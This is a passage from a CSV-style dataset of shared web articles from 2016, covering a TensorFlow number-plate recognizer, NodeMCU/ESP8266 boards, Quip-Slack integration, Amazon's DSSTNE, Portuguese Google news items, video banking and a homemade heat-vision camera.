IoEyes will be a more accurate form of security, leveraging authentication techniques that rely on physical characteristics. More importantly, these signals will be able to be combined with other signals for better understanding. Why it's The IoEyes will be a more accurate form of security, leveraging authentication techniques that rely on physical characteristics. More importantly, these signals will be able to be combined with other signals for better understanding. Eyelock , EyeVerify , and others are already working on biometrics to fill these needs. The benefits of biometrics and sensors offer invaluable support. From deterring people from driving when they are too intoxicated, to making sure your teenage daughter isn't bringing home that boy you don't like when you aren't around. One day your house may sense that you're tired after a long work day, automatically dimming the lights near your favorite recliner and instructing your robotic butler to pour you a glass of your favorite scotch. IoEyes isn't blinded by the future These examples only scratch the surface of how IoEyes will empower businesses and individuals. Other sectors that will benefit from IoEyes include virtual reality, manufacturing, E-commerce, augmented reality, fashion, publishing, gesture recognition, robotic imaging, importing and exporting, mapping, and financial markets. Many business opportunities and life improvements will surface that we cannot yet fathom. Cameras are no longer just for memories but are fundamental to improving our daily lives - both in our personal and professional lives. Interested in learning more? Join us for the next LDV Vision Summit is May 24 and 25 in NYC.",en
1463144845,CONTENT SHARED,3017826600888052926,-108842214936804958,2731838724974331360,,,,HTML,https://quip.com/blog/quip-slack-integration,Quip now connects with Slack to help teams kick more butt across the globe,"We're excited to announce that we've built a powerful Slack integration that brings Quip's living documents into your favorite Slack channels. The combo leverages Slack's chat with Quip's modern approach to collaborative docs, spreadsheets, and checklists for teams. The result? Happier, more productive teams. Two companies who share the same vision: Make teams more connected and productive Both Quip and Slack are designed for humans . Just like your favorite teammate, Quip is friendly and easy to work with. Unlike restrictive legacy platforms, Quip is purposefully open, conversational and malleable. Our platform frees up teams to do their best work without any of the pain. In the past, the categories of ""productivity software"" and ""collaboration software"" were filled with complex, heavy software built for a non-connected era. The reason our user base is growing so rapidly is because Quip is built in, and for, the modern era of teamwork - the same era as consumer apps like Facebook and Snapchat. The requirements are new and different as team work has evolved quickly in the mobile, always-connected era. Today's modern teams are searching for products and workflows that complement each other. As Bill Morein, Head of Product at FiftyThree , states: ""We have lots of ideas pop up in Slack, but when we need to get them all the way over the finish line Quip is where it really happens. Quip is where we can expand on an idea, give it structure, and execute on it."" Connect Quip and Slack to add living documents, spreadsheets, and checklists to your #channels. Build structure and take action on your free-form Slack conversations with Quip: Elevate Slack chats to Quip living docs. Spark ideas in Slack conversations and give them structure in Quip docs where you can organize, discuss, and evolve your team's most important work. Use the Slack slash-command to create a new Quip doc where things can really take off. Preview Quip docs in Slack. Paste links to Quip docs into your Slack channels to securely share them with your team. Stay in the Quip loop from Slack. You won't lose track of those groundbreaking, killer, disruptive ideas even if they're happening in both the Slack channel and a Quip document at the same time. Any @mentions, messages, and edits to your Quip docs will instantly post to Slack so you can easily follow along and jump in on the action. Link up your accounts to make life easier. Login with your Slack credentials and you can map Quip to your team's Slack members. Sign in with Slack makes it easy to keep your Quip permissions in sync with Slack's. You can now be less busy with Slack and work less dumb with Quip. (See, even our taglines work great together!) Get started today at quip.com/slack and hook up your accounts today.",en
1463144923,CONTENT SHARED,-2797708685347481851,-1387464358334758758,-8774668323471106639,,,,HTML,http://googlediscovery.com/2016/05/13/app-do-youtube-ganha-sistema-de-bate-papo-privado/,App do YouTube ganha sistema de bate-papo privado | Google Discovery,"Seguindo os passos do Instagram e do Twitter, o Google incorporou um novo recurso no aplicativo do YouTube que permite o envio de vídeos para um amigo ou grupo de forma privada. Atualmente a novidade está disponível apenas para um pequeno número de usuários que, por meio de convites, podem escolher outras pessoas a terem acesso a ferramenta. Além de permitir uma conversa sobre o vídeo compartilhado dentro de aplicativo do YouTube, os participantes também podem responder com outro vídeo. As mensagens são exibidas dentro de uma nova guia no aplicativo móvel e os usuários podem entrar e sair das conversas; também é possível acompanhar grupos por interesse. é bacharel em administração de empresas e fundador da FragaNet Networks - empresa especializada em comunicação digital e mídias sociais. Em seu portfólio estão projetos como: Google Discovery, TechCult, AutoBlog e Arquivo UFO. Também foi colunista de tecnologia no TechTudo, da Globo.com.",pt
1463145141,CONTENT SHARED,817467807875770568,-1387464358334758758,-8774668323471106639,,,,HTML,http://googlediscovery.com/2016/05/12/app-do-google-search-para-android-agora-busca-por-musicas-no-brasil/,App do Google Search para Android agora busca por músicas no Brasil | Google Discovery,"Além da chegada do Google Now on Tap no Brasil , o Google também liberou a funcionalidade de descobrir músicas pelo Google Search nos últimos dias. Para utilizar a novidade, basta tocar no botão do microfone da caixa de pesquisa do Google na tela inicial do Android e aguardar o botão de música aparecer na parte inferior da janela. Ao tocar no botão para iniciar a busca de música, os usuários podem descobrir o nome da música e do artista, e imediatamente comprar ou ouvir a faixa no Google Play. Veja o passo a passo de como usar o Sound Search: Após clicar no microfone, aguarde até aparecer o botão de música. O Sound Search analisa a música para descobrir o nome da faixa e o artista. Basta ir ao Google Play comprar ou escutar a música. é bacharel em administração de empresas e fundador da FragaNet Networks - empresa especializada em comunicação digital e mídias sociais. Em seu portfólio estão projetos como: Google Discovery, TechCult, AutoBlog e Arquivo UFO. Também foi colunista de tecnologia no TechTudo, da Globo.com.",pt
1463145284,CONTENT SHARED,-39485845307123560,-1387464358334758758,-8774668323471106639,,,,HTML,http://googlediscovery.com/2016/05/12/google-now-on-tap-estreia-no-brasil/,Google Now on Tap estreia no Brasil | Google Discovery,"O Google finalmente liberou o recurso Now on Tap (""Now a um toque"" no Brasil) que permite, apenas com um toque longo no botão home, encontrar conteúdos relacionados as informações que estão na tela do dispositivo. ""A partir de qualquer site ou aplicativo no seu telefone com Android 6.0 Marshmallow, pressione o botão Home para obter uma pequena ajuda do Google sobre o que você está fazendo no momento"". Entre os dados que podem ser buscados estão: Restaurantes: Localizar restaurantes e outros pontos de interesse que são mencionados na tela. Música: Saiba mais sobre um artista ou música de dentro de seu aplicativo. Filmes: análises e informações sobre o elenco a partir de qualquer tela que menciona o nome do filme. Pessoas: Saiba mais sobre pessoas famosas e celebridades nas notícias. Você pode visualizar uma demostração da funcionalidade no vídeo abaixo: Dica do leitor Reinaldo Versuri é bacharel em administração de empresas e fundador da FragaNet Networks - empresa especializada em comunicação digital e mídias sociais. Em seu portfólio estão projetos como: Google Discovery, TechCult, AutoBlog e Arquivo UFO. Também foi colunista de tecnologia no TechTudo, da Globo.com.",pt
1463145360,CONTENT SHARED,-292870452169977398,-8694104221113176052,-3286823585084534169,,,,HTML,http://businessmodelgeneration.com/book?_ga=1.148589566.872337552.1463145288,Strategyzer | Business Model Generation - Book,"Business Model Generation is a practical, inspiring handbook for anyone striving to improve a business model - or craft a new one. This is by far the most innovative book on how to think about putting together a business. -Fast Company Magazine, The Best Books for Business Owners 2010 Here's a book we're finding quite useful - good tools and frameworks that help teams think through new business models. -Beth Comstock, Chief Marketing Officer, GE A different kind of business world calls for a different kind of business manual, and that's what Alex Osterwalder and Yves Pigneur have achieved in their New Age guide to contemporary business modeling. -Rolf Dobelli, CEO getAbstract.com Essential Reading for Startups or Large Companies. Osterwalder and Pigneur have written the definitive text for how to define, think, draw and iterate business models. -Steve Blank, author of The Four Steps to the Epiphany The building blocks of innovation in a beautiful book! -Dave Gray, author of Gamestorming The digital environment demands a new way of looking at media businesses. BMG is the tool we have chosen to help us better sail in this convergent world. -Jorge Nobrega - Corporate Managing Director - Globo Business Model Generation - a fantastic methodology to implement innovation and make it the competitive differential of the 21st century. -Michael Lenn Ceitlin - CEO - Mundial S/A An innovative book in its creation and content, it makes for fascinating reading. A book for those seeking to create new businesses and for people in search of something more in the management arena. -Marcelo Chamma - Managing Director - Votorantim Cimentos Alexander Osterwalder is an entrepreneur, speaker, and the lead author of global bestseller Business Model Generation, coauthored by Professor Yves Pigneur with contributions from 470 collaborators in 45 countries. Alexander speaks frequently for Fortune 500 clients and has guest-lectured at top universities including Wharton, Stanford, Berkley, IESE, and IMD. He holds a PhD from HEC Lausanne and is a cofounder of the enterprise software firm Strategyzer, and the The Constellation, a not-for-profit organization dedicated to eliminating HIV/AIDS and malaria worldwide. Dr. Yves Pigneur has served as Professor of Management Information Systems at the UNiversity of Lausanne since 1984, and a visiting professor at Georgia State University, Hong Kong University of Science and Technology, and the University of British Columbia. He is editor-in-chief of the academic journal series Systèmes d'Information and Management(SIM), and together with Alexander Osterwalder authored the international bestsellers Business Model Generation: A handbook for Visionaries, Game Changers, and Challengers. He earned his doctoral degree at the University of Namur, Belgium. Alan is obsessed with design, business, and the ways we do them. A design-trained entrepreneur, he has worked in film, television, print, mobile, and web. He co-founded the Business Model Foundry (makers of Strategyzer), where he works to create content, training and tools that help make business strategy tangible, practical, and accessible to anyone. Patrick is the founder and CEO of Business Models Inc., an international business model consultancy based in Amsterdam. He helps entrepreneurs, senior executives, and their teams design better businesses, using visualization, storytelling, and other business modelling techniques. Patrick served as Producer of the international bestseller Business Model Generation. Business Models Inc. Tim Clark leads the professional business model movement at BusinessModelYou.com. A gifted teacher/trainer and a former entrepreneur who draws on personal experience with multimillion dollar acquisitions and flops alike, Clark has authored or edited five books on entrepreneurship, business models, and personal development, including the international bestseller Business Model Generation. He holds master's and doctorate degrees in business, and is currently serving a a visiting professor at the University of Tsukuba in Tokyo. Join the Business Model Generation.",en
1463146408,CONTENT SHARED,-9073210245497295284,-1443636648652872475,-6889636411309016105,,,,HTML,https://matthewearl.github.io/2016/05/06/cnn-anpr/?utm_source=hackernewsletter&utm_medium=email&utm_term=fav,Number plate recognition with Tensorflow,"Introduction Over the past few weeks I've been dabbling with deep learning, in particular convolutional neural networks . One standout paper from recent times is Google's Multi-digit Number Recognition from Street View . This paper describes a system for extracting house numbers from street view imagery using a single end-to-end neural network. The authors then go on to explain how the same network can be applied to breaking Google's own CAPTCHA system with human-level accuracy. In order to get some hands-on experience with implementing neural networks I decided I'd design a system to solve a similar problem: Automated number plate recognition (automated license plate recognition if you're in the US). My reasons for doing this are three-fold: I should be able to use the same (or a similar) network architecture as the Google paper: The Google architecture was shown to work equally well at solving CAPTCHAs, as such it's reasonable to assume that it'd perform well on reading number plates too. Having a known good network architecture will greatly simplify things as I learn the ropes of CNNs. I can easily generate training data. One of the major issues with training neural networks is the requirement for lots of labelled training data. Hundreds of thousands of labelled training images are often required to properly train a network. Fortunately, the relevant uniformity of UK number plates means I can synthesize training data. Curiosity. Traditional ANPR systems have relied on hand-written algorithms for plate localization, normalization, segmentation, character recognition etc. As such these systems tend to be many thousands of lines long. It'd be interesting to see how good a system I can develop with minimal domain-specific knowledge with a relatively small amount of code. For this project I've used Python, TensorFlow , OpenCV and NumPy . Source code is available here . Inputs, outputs and windowing In order to simplify generating training images and to reduce computational requirements I decided my network would operate on 128x64 grayscale input images. 128x64 was chosen as the input resolution as this is small enough to permit training in a reasonable amount of time with modest resources, but also large enough for number plates to be somewhat readable: In order to detect number plates in larger images a sliding window approach is used at various scales: The image on the right is the 128x64 input that the neural net sees, whereas the left shows the window in the context of the original input image. For each window the network should output: The probability a number plate is present in the input image. (Shown as a green box in the above animation). The probability of the digit in each position, ie. for each of the 7 possible positions it should return a probability distribution across the 36 possible characters. (For this project I assume number plates have exactly 7 characters, as is the case with most UK number plates). A plate is considered present if and only if: The plate falls entirely within the image bounds. The plate's width is less than 80% of the image's width, and the plate's height is less than 87.5% of the image's height. The plate's width is greater than 60% of the image's width or the plate's height is greater than 60% of the image's height. With these numbers we can use a sliding window that moves 8 pixels at a time, and zooms in times between zoom levels and be guaranteed not to miss any plates, while at the same time not generating an excessive number of matches for any single plate. Any duplicates that do occur are combined in a post-processing step (explained later). Synthesizing images To train any neural net a set of training data along with correct outputs must be provided. In this case this will be a set of 128x64 images along with the expected output. Here's an illustrative sample of training data generated for this project: expected output HH41RFP 1 . expected output FB78PFD 1 . expected output JW01GAI 0 . (Plate partially truncated.) expected output AM46KVG 0 . (Plate too small.) expected output XG86KIO 0 . (Plate too big.) expected output XH07NYO 0 . (Plate not present at all.) The first part of the expected output is the number the net should output. The second part is the ""presence"" value that the net should ouput. For data labelled as not present I've included an explanation in brackets. The process for generating the images is illustrated below: The text and plate colour are chosen randomly, but the text must be a certain amount darker than the plate. This is to simulate real-world lighting variation. Noise is added at the end not only to account for actual sensor noise, but also to avoid the network depending too much on sharply defined edges as would be seen with an out-of-focus input image. Having a background is important as it means the network must learn to identify the bounds of the number plate without ""cheating"": Were a black background used for example, the network may learn to identify plate location based on non-blackness, which would clearly not work with real pictures of cars. The backgrounds are sourced from the SUN database , which contains over 100,000 images. It's important the number of images is large to avoid the network ""memorizing"" background images. The transformation applied to the plate (and its mask) is an affine transformation based on a random roll, pitch, yaw, translation, and scale. The range allowed for each parameter was selected according to the ranges that number plates are likely to be seen. For example, yaw is allowed to vary a lot more than roll (you're more likely to see a car turning a corner, than on its side). The code to generate the images is relatively short (~300 lines). It can be read in gen.py . The network Here's the network architecture used: See the wikipedia page for a summary of CNN building blocks. The above network is in fact based on this paper by Stark et al, as it gives more specifics about the architecture used than the Google paper. The output layer has one node (shown on the left) which is used as the presence indicator. The rest encode the probability of a particular number plate: Each column as shown in the diagram corresponds with one of the digits in the number plate, and each node gives the probability of the corresponding character being present. For example, the node in column 2 row 3 gives the probability that the second digit is a C . As is standard with deep neural nets all but the output layers use ReLU activation . The presence node has sigmoid activation as is typically used for binary outputs. The other output nodes use softmax across characters (ie. so that the probability in each column sums to one) which is the standard approach for modelling discrete probability distributions. The code defining the network is in model.py . The loss function is defined in terms of the cross-entropy between the label and the network output. For numerical stability the activation functions of the final layer are rolled into the cross-entropy calculation using softmax_cross_entropy_with_logits and sigmoid_cross_entropy_with_logits . For a detailed and intuitive introduction to cross-entropy see this section in Michael A. Nielsen's free online book . Training ( train.py ) takes about 6 hours using a nVidia GTX 970, with training data being generated on-the-fly by a background process on the CPU. Output Processing To actually detect and recognize number plates in an input image a network much like the above is applied to 128x64 windows at various positions and scales, as described in the windowing section. The network differs from the one used in training in that the last two layers are convolutional rather than fully connected, and the input image can be any size rather than 128x64. The idea is that the whole image at a particular scale can be fed into this network which yields an image with a presence / character probability values at each ""pixel"". The idea here is that adjacent windows will share many convolutional features, so rolling them into the same network avoids calculating the same features multiple times. Visualizing the ""presence"" portion of the output yields something like the following: The boxes here are regions where the network detects a greater than 99% probability that a number plate is present. The reason for the high threshold is to account for a bias introduced in training: About half of the training images contained a number plate, whereas in real world images of cars number plates are much rarer. As such if a 50% threshold is used the detector is prone to false positives. To cope with the obvious duplicates we apply a form of non-maximum suppression to the output: The technique used here first groups the rectangles into overlapping rectangles, and for each group outputs: The intersection of all the bounding boxes. The license number corresponding with the box in the group that had the highest probability of being present. Here's the detector applied to the image at the top of this post: Whoops, the R has been misread as a P . Here's the window from the above image which gives the maximum presence response: On first glance it appears that this should be an easy case for the detector, however it turns out to be an instance of overfitting. Here's the R from the number plate font used to generate the training images: Note how the leg of the R is at a different angle to the leg of the R in the input image. The network has only ever seen R 's as shown above, so gets confused when it sees R 's in a different font. To test this hypothesis I modified the image in GIMP to more closely resemble the training font: And sure enough, the detector now gets the correct result: The code for the detector is in detect.py . Conclusion I've shown that with a relatively short amount of code (~800 lines), its possible to build an ANPR system without importing any domain-specific libraries, and with very little domain-specific knowledge. Furthermore I've side-stepped the problem of needing thousands of training images (as is usually the case with deep neural networks) by synthesizing images on the fly. On the other hand, my system has a number of drawbacks: It only works with number plates in a specific format. More specifically, the network architecture assumes exactly 7 chars are visible in the output. It only works on specific number plate fonts. It's slow . The system takes several seconds to run on moderately sized image. The Google team solves 1) by splitting the higher levels of their network into different sub-networks, each one assuming a different number of digits in the output. A parallel sub-network then decides how many digits are present. I suspect this approach would work here, however I've not implemented it for this project. I showed an instance of 2) above, with the misdetection of an R due to a slightly varied font. The effects would be further exacerbated if I were trying to detect US number plates rather than UK number plates which have much more varied fonts. One possible solution would be to make my training data more varied by drawing from a selection of fonts, although it's not clear how many fonts I would need for this approach to be successful. The slowness (3)) is a killer for many applications: A modestly sized input image takes a few seconds to process on a reasonably powerful GPU. I don't think its possible to get away from this without introducing a (cascade of) detection stages, for example a Haar cascade , a HOG detector , or a simpler neural net. It would be an interesting exercise to see how other ML techniques compare, in particular pose regression (with the pose being an affine transformation corresponding with 3 corners of the plate) looks promising. A much more basic classification stage could then be tacked on the end. This solution should be similarly terse if an ML library such as scikit-learn is used. In conclusion, I've shown that a single CNN (with some filtering) can be used as a passable number plate detector / recognizer, however it does not yet compete with the traditional hand-crafted (but more verbose) pipelines in terms of performance. Image Credits Original ""Proton Saga EV"" image by Somaditya Bandyopadhyay licensed under the Creative Commons Attribution-Share Alike 2.0 Generic license . Original ""Google Street View Car"" image by Reedy licensed under the Creative Commons Attribution-Share Alike 3.0 Unported license .",en
1463146938,CONTENT SHARED,-5784991738549272379,2279740393166882579,1579934520221634711,,,,HTML,http://irving.com.br/esp8266/nodemcu-esp8266-o-modulo-que-desbanca-o-arduino-e-facilitara-a-internet-das-coisas/,NodeMCU (ESP8266) o módulo que desbanca o Arduino e facilitará a Internet das Coisas...,"A partir de 2005 o Arduino se tornou a principal ferramenta de makers e hobbistas para a o prototipação de projetos eletrônicos. Pois bem, eis que em meados de 2014 surgiu um concorrente à altura (eu diria muito superior): O ESP8266, um módulo eletrônico muito menor, mais veloz, potente e muito mais barato do que o Arduino, além de já possuir conexão Wi-Fi. Com isso, esse módulo possibilita os mais diversos projetos, conectados à Internet e é possível programá-lo usando o mesmo software e linguagem do Arduino. O potencial do ESP é tão grande que ele venceu o prêmio de hardware do ano (2015/16) pelo IoT Awards . Algumas informações sobre ele: Confusão de nomes, quem é quem? ESP8266 (na verdade ESP8266EX) é um chip de arquitetura 32 bits com Wi-Fi integrado, medindo apenas 5mm x 5mm E produzido pela companhia chinesa Espressif . O seu tamanho tão pequeno dificulta a utilização, mesmo soldá-lo é uma tarefa complicada, então uma outra empresa chinesa, a AI-Thinker , passou a produzir módulos utilizando o chip e colocando alguns componentes extras (Memória adicional, memória EEPROM, antena...). Esses módulos sofrem rápidas atualizações e começaram a ser chamados por números, os mais conhecidos são: ESP-01 - que contava apenas com 8 conectores, e servia mais para ser utilizado como um módulo para o Arduino; ESP-07 - que foi bastante vendido, contava com 16 pinos, antena de cerâmica e conector para antena externa; E o ESP-12E - Uma atualização do ESP-12, que conta com 22 pinos, entre esses pinos extras estão os da interface SPI, que possibilita ligarmos vários módulos ao ESP (displays, cartões SD, e diversos 'shields'...) Agora vamos ao NodeMCU A gravação dos módulos ESP não é das mais simples, é necessário um conversor USB/Serial (FTDI), para que os dados possam ser passados do computador para o módulo. Outro ponto dos módulos ESP é que eles utilizam 3,3V (inclusive alguns conversores só possuem saída de 5V), o que não é uma tensão fácil de obter. O NodeMCU é constituído por um módulo ESP-12E, um conversor FTDI, e um regulador de tensão de 5 para 3,3V e possui o espaçamento entre os pinos padrão (2,54mm) o que nos permite conectá-los à placas de prototipação (protoboard), e sua programação é bem mais simples, sendo necessário apenas ligar um cabo USB que também serve como alimentação para o circuito. O projeto original foi pensado para se utilizar a linguagem de programação Lua (Brasileira inclusive) mas é possível fazer upload dos códigos em outra linguagem normalmente. Várias empresas lançaram diferentes versões, a ""original"" NodeMCU , as mais acessíveis WeMos , Amica e DOIT , e as mais confiáveis SparkFun Thing e Adafruit HUZZAH . Tamanho Uma imagem vale mais que mil palavras, nesta imagem podemos ver o Arduino Uno, um NodeMCU e um shield Wi-Fi. O NodeMCU faz o papel dos outros dois componentes juntos, ou seja, é capaz de receber programação e já tem uma interface Wi-Fi, possibilitando uma imensa gama de projetos. Vamos aos números: O Arduino Uno mede aproximadamente 5,3cm x 7,9cm e o shield Wi-Fi tem praticamente o mesmo tamanho (é usado em cima do Arduino Uno, não há aumento no espaço utilizado), já o NodeMCU mede 2,5m x 5,1cm, um terço o tamanho do Arduino, isso sem contar na possibilidade de usar apenas o chip principal, que mede apenas 2,4cm x 1,6cm (quase 11 vezes menor). Hardware Neste quesito a vitória do NodeMCU é mais expressiva, o Arduino UNO possui um microcontrolador (ATMega 328P) de 16MHz (velocidade de processamento, um celular atual é aproximadamente 100 vezes mais veloz), possui uma memória RAM de 2KB (Memória onde são armazenadas as variáveis, os valores que você salva no meio do código) e uma memória flash de 32KB (espaço para armazenamento do programa em si). Já o NodeMCU possui um processador (Tensilica LX106) que pode atingir até 160MHz (10 vezes mais rápido que o Arduino), uma memória RAM de 20KB e uma memória flash de 4MB! (Tão grande que é possível fazer download de uma atualização do próprio código!). Os shields Wi-Fi mais comuns possuem conexões 802.11 b e g (11MBps e 56MBps de limite de velocidade, respectivamente). Já o ESP possui as mesmas conexões além da 802.11n que possui um limite 300MBps de velocidade e tem um alcance até duas vezes maior. Preço Aqui a situação fica melhor ainda! Nos sites chineses é possível encontrar um ESP8266 por até US$1,70 e um NodeMCU por menos de US$2,30 (menos de 12 reais), um Arduino UNO original não sai por menos de 20 dólares. No mercado brasileiro, usando apenas um site como comparação um NodeMCU sai por aproximadamente R$70, e um ESP8266-12E por R$45. Um Arduino UNO cópia está saindo por R$60 e um shield Wi-Fi não sai por menos de R$250... Ou seja, o custo-benefício do ESP/NodeMCU é altíssimo e é possível encontrá-lo a preços mais acessíveis no MercadoLivre, por exemplo. Facilidade Como foi dito, a programação do ESP8266 pode ser feita de várias maneiras: Em C, através da SDK do fabricante (Espressif) Em Lua, que é a linguagem oficial do NodeMCU E em C++*, a mesma linguagem no Arduino A mais simples de ser utilizada é a linguagem do Arduino, as bibliotecas são muito completas, sendo necessário pouca programação para já conectar o ESP no seu roteador Wi-Fi e fazer as mais diferentes e úteis aplicações. O código de exemplo abaixo, procura por todas as redes nas redondezas e as imprime na tela juntamente com a potência do sinal e o tipo de encriptação. Contras Claro que nem tudo são flores, um dos pontos negativos do ESP é a presença de somente uma entrada analógica, o que dificulta a utilização de muitos sensores simples, além disso, o valor máximo aceito nessa entrada é de 1 Volt, sendo necessário algumas conversões para obter o valor desejado. Há também um número menor de portas digitais, mas nada que comprometa a maioria dos projetos. E aí? É fácil evidenciar a enorme vantagem que o ESP/NodeMCU leva sobre outros dispositivos, ele mescla o hardware potente e de baixo custo das manufaturas chinesas com a facilidade de programação do Arduino, que nasceu na Europa mas é difundido pelo mundo todo. Este pequeno chip, como a mídia especializada sempre diz, é claramente um IoT enabler , tem tudo para estar presente nos mais diversos gadgets daqui pra frente. E a Espressif já anunciou a pré-produção do ESP32 , um chip ainda melhor que o 8266 com processador dual core, 500KB de RAM e Bluetooh 4.0",pt
1463147000,CONTENT SHARED,5932519440360275788,-8020832670974472349,-8349060159135774103,,,,HTML,https://channel9.msdn.com/Blogs/Seth-Juarez/Anders-Hejlsberg-on-Modern-Compiler-Construction,Anders Hejlsberg on Modern Compiler Construction (Channel 9),"The way this story starts is pretty interesting: one day in the lunch room in building 25 I happened to have a chat with the great Anders Hejlsberg about compilers (yeah, it was pretty cool). One thing he mentioned (in passing I might add) was that there is a huge gap between the way compilers are taught in school and the way compilers are implemented nowadays. I mentioned (again in passing) that we should do a whiteboard on the the topic for Channel 9. He agreed! In this video Anders a great foundation of compiler construction by describing the traditional methodologies that have been used in the last 30 or so years. He then uses that foundation to describe modern tooling needs and how compilers have adapted to meet increasing demands. The discussion was not only enlightening but also went a long way to show how Microsoft is taking great care to meet the modern needs of a wide array of developers. I hope you enjoy the discussion as much as I did!",en
1463147569,CONTENT REMOVED,-1172724258904585136,-2726721797588771398,-6383156192411281601,,,,HTML,https://blog.ryantoohil.com/category/google-calendar,TNSFF,"Katie was managing 4 or 5 different versions of calendars between her iPhone, Mac, and Google Calendar. It was leading to dupes (and trips!) of things showing up and just making a general mess. So I thought I would help. I get everything reduced to just a couple of calendars synced to iCloud. Then I go to move her Google Calendar to iCloud like I did with my own GCal. I export her ics file, import it into iCal, and merge it into her normal calendar. Everything looks normal. Until iCloud starts sending out acceptance emails to people for meetings from her work calendar (that had been synched with Google Calendar back in 2008 and 2009). Yep, tens, maybe hundreds of acceptances to meetings that were years old. I'm sure there's a setting that I missed somewhere, but that just doesn't seem like the right thing, Apple, now does it? With the holiday season upon us, I got a few Evites that broke my Greasemonkey script to add Evite invitations to your Google Calendar. I went through and cleaned up the code a bit, and I think it'll work a bit better now. You'll find the ""Add to Google Calendar"" link next to the Print link on most invites. Evite2GoogleCal.user.js v1.2 So, Google announced recently that it would support CalDAV syncing with iCal , which means if you update an entry in iCal (or Google Calendar), they'll be in sync within a few minutes. Awesome. Unfortunately, it meant that my previous script iteration would now continually add alarms, leading to each entry having 3 or 4 alarms. Turns out that updating a local iCal calendar and adding an alarm actually updates that same info at GCal. Which is awesome (but was unexpected). So, I made a small tweak to the script, which makes it run a bit faster and makes sure that you only get one alarm on an entry: Try this instead: tell application ""iCal"" set theCalendars to {""Cal1"", ""Cal2""} repeat with theCurrentValue in theCalendars tell calendar theCurrentValue set theEvents to every event repeat with theCurrentEvent in theEvents tell theCurrentEvent if not (exists sound alarm of theCurrentEvent) then make new sound alarm at end / with properties {trigger interval:-15} end if end tell end repeat end tell end repeat end tell That basically means it won't add another sound alarm if the entry already has one. Much handier. In fact, you could just take that script and have it run every few hours (either cron'd or via iCal), and not have to worry about the iTunes Sync script.",en
1463148482,CONTENT SHARED,-1114438937697017987,-1443636648652872475,-6889636411309016105,,,,HTML,http://venturebeat.com/2016/05/11/amazon-open-sources-its-own-deep-learning-software-dsstne/,"Amazon open-sources its own deep learning software, DSSTNE","Amazon has suddenly made a remarkable entrance into the world of open-source software for deep learning. Yesterday the ecommerce company quietly released a library called DSSTNE on GitHub under an open-source Apache license. Deep learning involves training artificial neural networks on lots of data and then getting them to make inferences about new data. Several technology companies are doing it - heck, it even got some air time recently in the show ""Silicon Valley."" And there are already several other deep learning frameworks to choose from , including Google's TensorFlow . Amazon is not the most active technology company in the realm of open source. Facebook or Google would be better candidates for that honor. But Amazon supplies a reason for this move in a frequently asked questions (FAQ) page included in the repo: We are releasing DSSTNE as open source software so that the promise of deep learning can extend beyond speech and language understanding and object recognition to other areas such as search and recommendations. We hope that researchers around the world can collaborate to improve it. But more importantly, we hope that it spurs innovation in many more areas. Amazonians are aware of the software's limitations. In its current form, DSSTNE (pronounced ""destiny"") cannot support convolutional workloads for image recognition, and its support for recurrent neural nets is limited. (Engineers will be working on that.) But the software can train using multiple graphics processing units (GPU) at one time, unlike some other frameworks, and it's already showing performance advantages over even the cutting-edge TensorFlow. Amazon says it provides a 2.1X speedup over TensorFlow on a g2.8xlarge GPU instance in the Amazon Web Services (AWS) public cloud. And DSSTNE is particularly performant relative to competitors when there isn't a whole lot of training data to work with, Amazon said. Plus, C++-based DSSTNE may also have advantages when it comes to ease of use. ""DSSTNE's network definition language is much simpler than Caffe's, as it would require only 33 lines of code to express the popular AlexNet image recognition model, whereas Caffe's language requires over 300 lines of code,"" Amazon wrote on the FAQ page. Documentation is here . Amazon.com, Inc. (NASDAQ: AMZN), a Fortune 500 company based in Seattle, opened on the World Wide Web in July 1995 and today offers Earth's Biggest Selection. Amazon.com, Inc. seeks to be Ea... All Amazon news "" Get more stories like this on Twitter & Facebook",en
1463155829,CONTENT SHARED,-3641109225708958458,5660542693104786364,6192539425861088176,,,,HTML,https://www.talkingpayments.com/news/1048/93-of-banks-expect-video-to-boost-satisfaction,Talking Payments - Article Profile - 93% of banks expect video to boost satisfaction,"Following several high profile launches, including Lloyd's video services for mortgages , the researchers spoke to banking professionals in 24 countries, asking them what role face-to-face video is playing the digital transformation of banks . They found that a quarter of those surveyed currently have or are piloting a video banking service, with a further 24% planning to begin such a scheme within the next 12 months. With customer satisfaction and building a reputation for innovation cited as motivators, there is agreement that most banks expect to offer video going forward. However, some banks will implement this as a from-home service via mobile or desktop, while others suggest they will deliver this service through ATMs or even in-branch. When it comes to services, more than half (60%) of banks agree that private banking, wealth management, mortgage and loan services are best suited for video banking formats. Vincent Bastid, CEO of Efma, commented: ""The findings show that there is a strong appetite for video-powered banking worldwide, and we firmly believe in the power of the technology to maintain and improve the personal connection between the customer and the bank."" As these products move to market, security, compliance, cost, and customer preparedness, have all been raised as challenges.",en
1463156427,CONTENT SHARED,8650916538290053756,-8020832670974472349,-8349060159135774103,,,,HTML,http://www.ribbonfarm.com/2016/05/12/artem-vs-predator/,Artem vs. Predator,"I'm not sure what it was. Might have been the Predator movies, might have been something else. Heat vision. The ability to see heat was something I wanted for a while. Back in the old days, however, any sort of a heat vision camera cost more than I'd made in a decade. You might think ""superpower!"", but that's not what I had in mind. I had an idea, an image in my mind. Something that is trivial to photoshop, but is absurdly hard to actually see. Things and scenes lit up by the light emitted from a human. The glow of our heat lighting up the scene. What would it take to make a picture like that? What makes a camera? And how can you make a heat-seeing camera yourself? Centuries ago it was known that if you stand inside a dark box on a sunny day and poke a hole in one of the walls, you'll get the image of the outside on the other wall. In the days of photography this concept became known as a pinhole camera. The diffraction of light producing the image. It's a mechanism that is independent of the nature and wavelength of radiation it is being used with. At the back of the box there was a glass plate in the earlier cameras, then film, then a digital sensor - something that can record the image. Of course, the pinhole was quickly replaced with more efficient optics, like lenses. But for our goal it's important to remember, because infrared light does not pass through glass. Which light? There are many bands of invisible light out there. The visible spectrum is, as the name suggests, what we see. Above it, the shorter waves are the ultraviolet - light which is progressively more harmful, and also progressively dimmer due to our opaque atmosphere. Nice to try, not that interesting to linger there. Below, the longer waves are the bands of infrared. You might have seen the online guides on how to turn your digital camera into an ""infrared camera"". Some even have the nerve to call it ""heat vision"" camera. How that hack works is based on the fact that the light response of silicon detectors used in most cameras includes the near infrared (NIR) band, which is just below the visible red. To approximate what the eye would see, the cameras are fitted with a filter (""Hot mirror""). Silicon sensitivity: Human eye sensitivity: NIR is an interesting band - the grass and leaves are reflective in it, and you can get some surreal images of pitch black sky with brilliant-white trees. But it's not heat vision: you have to be 400° C or higher hot to glow in NIR. Below the NIR there are: SWIR - the short-wave infrared that is used in optic fiber communications. MWIR - the middle/medium-wave IR, where things start to get interesting - you glow at just over 100° C. And LWIR -long/far-wave IR where all the 